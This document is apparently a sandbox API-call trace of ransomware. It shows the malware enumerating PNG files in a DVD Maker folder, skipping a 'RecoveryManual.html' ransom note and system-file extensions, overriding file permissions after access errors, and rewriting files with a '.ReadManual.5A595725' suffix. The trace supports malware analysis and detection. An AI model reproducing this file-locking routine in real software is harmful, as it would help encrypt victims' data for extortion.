GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png")) returned 0x20 [0252.452] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.452] GetLastError () returned 0x5 [0252.452] GetNamedSecurityInfoW () returned 0x0 [0252.452] SetNamedSecurityInfoW () returned 0x0 [0252.453] SetNamedSecurityInfoW () returned 0x0 [0252.454] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.454] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2821) returned 1 [0252.454] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb05, lpName=0x0) returned 0x1a0 [0252.454] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xba) returned 1 [0252.455] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.455] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.457] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.457] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb05) returned 0x2f0000 [0252.457] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.457] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37312579882) returned 1 [0252.457] CloseHandle (hObject=0x1a0) returned 1 [0252.457] SetSecurityInfo () returned 0x5 [0252.457] SetSecurityInfo () returned 0x5 [0252.457] LocalFree (hMem=0x674d38) returned 0x0 [0252.457] CloseHandle (hObject=0x184) returned 1 [0252.457] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1 [0252.457] lstrcpyW (in: lpString1=0x6ab906, lpString2="dotsdarkoverlay.png" | out: lpString1="dotsdarkoverlay.png") returned="dotsdarkoverlay.png" [0252.457] lstrcmpiW (lpString1="dotsdarkoverlay.png", lpString2="RecoveryManual.html") returned -1 [0252.457] StrStrIW (lpFirst="dotsdarkoverlay.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.458] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.458] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.458] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.458] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.458] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.458] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.458] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.458] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.458] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.458] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.458] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.458] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.458] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.458] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.458] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" [0252.458] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png.ReadManual.5A595725" [0252.458] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png.ReadManual.5A595725") returned 92 [0252.458] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37312674962) returned 1 [0252.458] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png")) returned 0x20 [0252.459] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.459] GetLastError () returned 0x5 [0252.459] GetNamedSecurityInfoW () returned 0x0 [0252.459] SetNamedSecurityInfoW () returned 0x0 [0252.460] SetNamedSecurityInfoW () returned 0x0 [0252.461] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.461] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4563) returned 1 [0252.461] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11d3, lpName=0x0) returned 0x1a0 [0252.461] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc8) returned 1 [0252.462] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.462] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.464] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.464] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11d3) returned 0x2f0000 [0252.464] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.464] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37313278089) returned 1 [0252.464] CloseHandle (hObject=0x1a0) returned 1 [0252.464] SetSecurityInfo () returned 0x5 [0252.464] SetSecurityInfo () returned 0x5 [0252.464] LocalFree (hMem=0x674d38) returned 0x0 [0252.464] CloseHandle (hObject=0x184) returned 1 [0252.464] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1 [0252.464] lstrcpyW (in: lpString1=0x6ab906, lpString2="dotslightoverlay.png" | out: lpString1="dotslightoverlay.png") returned="dotslightoverlay.png" [0252.464] lstrcmpiW (lpString1="dotslightoverlay.png", lpString2="RecoveryManual.html") returned -1 [0252.464] StrStrIW (lpFirst="dotslightoverlay.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.464] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.465] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.465] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.465] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.465] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.465] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.465] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.465] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.465] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.465] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.465] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.465] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.465] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.465] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.465] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" [0252.465] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png.ReadManual.5A595725" [0252.465] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png.ReadManual.5A595725") returned 93 [0252.465] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37313372975) returned 1 [0252.465] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png")) returned 0x20 [0252.466] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.466] GetLastError () returned 0x5 [0252.466] GetNamedSecurityInfoW () returned 0x0 [0252.466] SetNamedSecurityInfoW () returned 0x0 [0252.467] SetNamedSecurityInfoW () returned 0x0 [0252.468] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.468] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4669) returned 1 [0252.468] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x123d, lpName=0x0) returned 0x1a0 [0252.468] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xca) returned 1 [0252.469] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.469] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.471] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.471] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x123d) returned 0x2f0000 [0252.471] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.471] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37313998745) returned 1 [0252.471] CloseHandle (hObject=0x1a0) returned 1 [0252.471] SetSecurityInfo () returned 0x5 [0252.471] SetSecurityInfo () returned 0x5 [0252.471] LocalFree (hMem=0x674d38) returned 0x0 [0252.471] CloseHandle (hObject=0x184) returned 1 [0252.472] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1 [0252.472] lstrcpyW (in: lpString1=0x6ab906, lpString2="full.png" | out: lpString1="full.png") returned="full.png" [0252.472] lstrcmpiW (lpString1="full.png", lpString2="RecoveryManual.html") returned -1 [0252.472] StrStrIW (lpFirst="full.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.472] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.472] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.472] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.472] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.472] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.472] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.472] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.472] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.472] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.472] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.472] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.472] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.472] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.472] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.472] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" [0252.472] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png.ReadManual.5A595725" [0252.472] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png.ReadManual.5A595725") returned 81 [0252.472] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37314092566) returned 1 [0252.472] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png")) returned 0x20 [0252.473] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.473] GetLastError () returned 0x5 [0252.473] GetNamedSecurityInfoW () returned 0x0 [0252.473] SetNamedSecurityInfoW () returned 0x0 [0252.474] SetNamedSecurityInfoW () returned 0x0 [0252.475] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.475] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=26516) returned 1 [0252.475] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6794, lpName=0x0) returned 0x1a0 [0252.475] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xb2) returned 1 [0252.476] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.476] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.478] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.478] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6794) returned 0x2f0000 [0252.478] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.478] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37314727637) returned 1 [0252.479] CloseHandle (hObject=0x1a0) returned 1 [0252.479] SetSecurityInfo () returned 0x5 [0252.479] SetSecurityInfo () returned 0x5 [0252.479] LocalFree (hMem=0x674d38) returned 0x0 [0252.479] CloseHandle (hObject=0x184) returned 1 [0252.479] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.479] lstrcpyW (in: lpString1=0x6ab906, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0252.479] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0252.479] StrStrIW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.479] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.479] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.479] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.479] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.479] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.479] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.479] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.479] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.479] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.479] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.479] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.479] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.479] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.479] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.479] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" [0252.479] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725" [0252.479] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned 105 [0252.479] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37314823040) returned 1 [0252.480] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png")) returned 0x20 [0252.480] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.480] GetLastError () returned 0x5 [0252.480] GetNamedSecurityInfoW () returned 0x0 [0252.481] SetNamedSecurityInfoW () returned 0x0 [0252.481] SetNamedSecurityInfoW () returned 0x0 [0252.482] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.482] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5088) returned 1 [0252.482] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e0, lpName=0x0) returned 0x1a0 [0252.482] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe2) returned 1 [0252.483] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.483] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.485] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.485] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e0) returned 0x2f0000 [0252.485] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.485] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37315412452) returned 1 [0252.485] CloseHandle (hObject=0x1a0) returned 1 [0252.485] SetSecurityInfo () returned 0x5 [0252.486] SetSecurityInfo () returned 0x5 [0252.486] LocalFree (hMem=0x674d38) returned 0x0 [0252.486] CloseHandle (hObject=0x184) returned 1 [0252.486] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0252.486] lstrcpyW (in: lpString1=0x6ab906, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0252.486] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.486] StrStrIW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.486] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.486] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.486] StrCmpIW (psz1="png", psz2="sys") returned -1 